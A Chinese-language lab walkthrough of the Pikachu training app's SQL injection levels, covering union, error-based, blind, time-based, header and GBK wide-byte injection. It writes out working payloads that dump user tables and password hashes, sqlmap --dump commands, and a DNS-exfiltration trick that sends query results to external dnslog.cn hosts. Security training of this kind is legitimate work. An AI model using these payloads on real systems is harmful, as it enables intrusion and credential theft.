pikachu-SQL注入
一、数字型注入
方法一:
拿万能密码试试,构造:id=1 or 1=1&submit=%E6%9F%A5%E8%AF%A2,嚯,全部用户的部分信息出来了,存在数字型注入。
方法二:
随便选一个点击查询并抓包,猜想是数字型,验证一下试试。
查看注入类型,构造:id=1 and 1=1,如下图,查询成功。
构造:id=1 and 1=2&submit=%E6%9F%A5%E8%AF%A2,如下图,查询失败。证实此处参数id存在数字型注入。
查看字段数,构造:id=1 order by 2&submit=%E6%9F%A5%E8%AF%A2尝试成功。存在两个字段。
查看当前数据库名称和版本,构造:id=-1 union select database(),version()&submit=%E6%9F%A5%E8%AF%A2
查看表名,构造:id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&submit=%E6%9F%A5%E8%AF%A2
查看列名,构造:id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’&submit=%E6%9F%A5%E8%AF%A2
回显看不全,直接看返回包里pretty原始html,如下:
hello,1
your email is: user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level
下载数据,构造:id=-1 union select 1,group_concat(username,password) from users &submit=%E6%9F%A5%E8%AF%A2
虽然得到了用户名和密码,但是这密码是加密的,一般而言是密码的hash值。刚才尝试闭合符号时回显有MD5字样,且看这密文像极了经md5加密的32位密文,猜想是md5。网上找了个md5解密工具,发现果然是md5。如admin/123456。
二、字符型注入
分别输入1和1’,发现后者有报错回显,猜想存在字符型注入。万能密码试试,构造:1’ or 1=1#或者1’ or ‘1’='1。嚯,又出来额。
手工的思路同“一、数字型注入”,但请求方式不同,get型修改url,构造payload。这里用sqlmap试试。
查看数据库信息:
python sqlmap.py -u "http://127.0.0.1:8888/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbs
看表名:
python sqlmap.py -u "http://127.0.0.1:8888/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables
看列名:
python sqlmap.py -u "http://127.0.0.1:8888/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns
看列名:
python sqlmap.py -u "http://127.0.0.1:8888/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns
打印指定列的数据:
python sqlmap.py -u "http://127.0.0.1:8888/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C "username,password" --dump
三、搜索型注入
搜个a试试。
一般搜索型语句为select xxx from xxx where xxx like xxx;
这种一般为字符型,加上逗号试试。
由回显猜想这里参数name闭合的格式为:name=‘%xxx%’
输入a%'#看看,发现回显正常。
之后就是查看排序字段,看注入位置,查看数据库名、表名、列名、字段名和打印数据了。
四、xx型注入
敲一个kobe看看。
由回显推测参数name的闭合方式为name=(‘xxx’);
其余步骤同上。
五、insert/update注入
insert/update不像select那样是查询,而是插入/更新的操作。一般通过报错的方式来获取数据。
insert表示向数据库插入记录。insert into 表名 values(1,2,3);
update表示更新数据库里的记录。update 表名 set xx=‘xx’ where xx=xx;
delete表示删除数据库的记录。delete from 表名 where xx=xx;
常用的报错函数主要为:
1、extractvalue(xml文档,文档路径):MySql对xml文档的数据进行查询。
报错查询:改变xml文档路径的格式,使识别路径时错误,输出查询结果。
extractvalue(1,concat(0x7e,@@datadir))。
正常查询:extractvalue(查询语句,‘文档路径’)。
extractvalue(‘anything’,‘/x/x/x’)。
2、updatexml(xml文档,文档路径,xml更新的内容):MySql对xml文档的数据进行查询或修改。
updatexml(1,concat(0x7e,@@datadir),0)。
正常查询:extractvalue(查询语句,‘文档路径’)。
updatexml(‘anything’,‘/x/x/x’,‘anything’)
3、floor():MySql的向下取整函数。
group by(针对表中的字段来分组)与rand()使用时,rand():生成0~1之间的浮点数。如果临时表中没有该主键,则在插入前rand()会再计算一次(也就是两次),就是因为此特性,所以引起的主键重复并报错。
select count(*),floor(rand(0)*2) x from test group by x
注:关于floor()的详细解释参考这里
思路都差不多:先看注入类型。
查看注入参数的类型:username=1’&password=2&sex=&phonenum=&email=&add=&submit=submit报错。
看数据库名:
username=1’ or updatexml(1,concat(0x7e,database(),0x7e),1) or ‘&password=2&sex=&phonenum=&email=&add=&submit=submit
或者用:
username=1’ and updatexml(1,concat(0x7e,database(),0x7e),1) and '&password=2&sex=&phonenum=&email=&add=&submit=submit
看数据库版本:
username=1’ or updatexml(1,concat(0x7e,version()),0x7e) or ’
看数据库路径:
构造:username=1’ or updatexml(1,concat(0x7e,@@datadir),0) or ’ &password=1&sex=&phonenum=&email=&add=&submit=submit
看表名:username=’ or updatexml(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where table_schema=‘pikachu’)),0) or ’ &password=1&sex=&phonenum=&email=&add=&submit=submit
看列名:
username=’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)),0) or ’ &password=1&sex=&phonenum=&email=&add=&submit=submit
打印数据:
username=’ or updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),0) or ’ &password=1&sex=&phonenum=&email=&add=&submit=submit
六、delete注入
先写一些留言,然后删除并抓包,发现get请求,且参数只有id,然后id不同,删除的留言不同,猜想id就像留言的编号一样。这应该注入点。好,开始吧。测试发现id为数值型注入点。
构造:id=80 or updatexml(1,concat(0x7e,database()),1),发现400。。。
根据提示以及get请求方式,可能网站对url进行url编码,为了防止关键字如空格引起歧义,需要自行进行url编码。用bp的Convert Selection工具编码。
其余思路同上。
七、http header注入
在常规位置尝试之后在User-Agent处尝试注入。输入111111,发现返回包里有User-Agent的回显,猜想这里说不定有注入。测试后发现时单引号字符型注入。
思路同上,不过注入位置不同。
八、布尔盲注
输入kobe,查询到他的信息,输入kobe’,查不到信息且无回显,输入kobe’#,能查到信息(若在bp数据包里修改,则需要进行url编码)。此处为盲注,闭合方式为单引号。
看看数据库名的长度:name=kobe’ and length(database())>=7#,这里需要url编码,即:name=kobe’+and+length(database())>%3d7%23&submit=%E6%9F%A5%E8%AF%A2
以此类推,手工比较麻烦,不如用sqlmap算了。
九、时间盲注
搜名字的,应该是字符型,试试kobe,没啥有用的回显。试试kobe’,一样的,再试试kobe’#,还是那样子。可以考虑用sleep()函数来进行时间盲注了。
构造:kobe’ and sleep(5)#
确实有延迟,不放心可以打开f12的网络选项,真的延迟5秒,验证了猜想。
后面思路就是常规思路,不过payload换成延时注入的payload。
比如构造:kobe’ and if((substr(database(),1,1))=‘a’,sleep(5),null)#发现不延迟,那数据库名字首字母不是a了,继续尝试。发现kobe’ and if((substr(database(),1,1))=‘p’,sleep(5),null)#时,延迟了,就这样慢慢尝试,或者拿bp弄字典跑跑啥的。
还是sqlmap吧。
注:对于盲注,也可以结合dnslog外带信息进行注入。
Mysql数据库的load_file()函数不单可以读取本地文件,还可以通过UNC路径访问远程文件。UNC路径格式://servername/sharename/directory/filename。DnsLog注入就是利用load_file()函数访问远程文件的特点,将盲注的信息通过dns解析外带出来,通过看dns解析日志可以看到结果。
安利两个dns解析的在线平台:
http://dnslog.cn/
http://ceye.io/
条件:mysql的配置文件my.ini中参数:
1、secure_file_priv=“”,就可以读取磁盘的目录。
2、secure_file_priv=“F:”,就可以读取F盘的文件。
3、secure_file_priv=“null”,load_file就不能加载文件。
通常先获取一个子域名,然后将其拼接到load_file()函数中,提交并解析之后,刷新一下解析记录,即可看到注入的结果。
网上现成的payload好多有问题,我试了好久,最后还是得自己敲。。。而且我的MYSQL的my.ini默认没有secure_file_priv,所以load_file()一开始咋样都没得记录。用load_file()之前务必先看secure_file_priv=“”。没有的话自己加一下secure_file_priv=“”,方便注入。
看数据库,构造:
name=kobe’+union+select+1,load_file(concat(‘\\\’,(select+database()),‘.9v3mij.dnslog.cn\abc’))%23&submit=%E6%9F%A5%E8%AF%A2
看表名,构造:
name=kobe’+union+select+1,load_file(concat(‘\\\’,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3d"pikachu"+limit+0,1),‘.mzu7o9.dnslog.cn\abc’))%23&submit=%E6%9F%A5%E8%AF%A2
常规思路继续。
十、宽字节注入
由于PHP使用addslashes()、mysql_escape_string()、mysql_real_escape_string() 等转义的函数,对输入’进行了转义’,然而在GBK编码中,\被编码成%5c,而%5c%df被编码成一个繁体字,故\失去了对’的转义能力。因此,单引号逃逸成功。
构造万能payload:
name=kobe %df’ or 1=1#&submit=%E6%9F%A5%E8%AF%A2
构造:name=kobe %df’ order by 3#&submit=%E6%9F%A5%E8%AF%A2报错,
构造:name=kobe %df’ order by 2#&submit=%E6%9F%A5%E8%AF%A2不报错。
故,2个字段。
或者直接构造:name=kobe %df’ union select 1,2,3#&submit=%E6%9F%A5%E8%AF%A2,发现username不存在。
构造:name=kobe %df’ union select 1,2#&submit=%E6%9F%A5%E8%AF%A2,发现回显正常。
故两个字段。
注意:name=kobe%df’ union select 1,table_name from information_schema.tables where table_schema=‘pikachu’#已经不行了,因为GBK会过滤单引号。考虑用无单引号的payload,结合嵌套。
看表名,构造:
name=kobe %df’ union select 1,table_name from information_schema.tables where table_schema=database()#&submit=%E6%9F%A5%E8%AF%A2
看列名,构造:(limit 3,1为跳过3条数据,读取第四条数据)
name=kobe %df’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1))#&submit=%E6%9F%A5%E8%AF%A2
打印数据,构造:name=kobe %df’ union select 1,(select group_concat(username,password) from users)#&submit=%E6%9F%A5%E8%AF%A2
密码时md5加密,自行解密即可。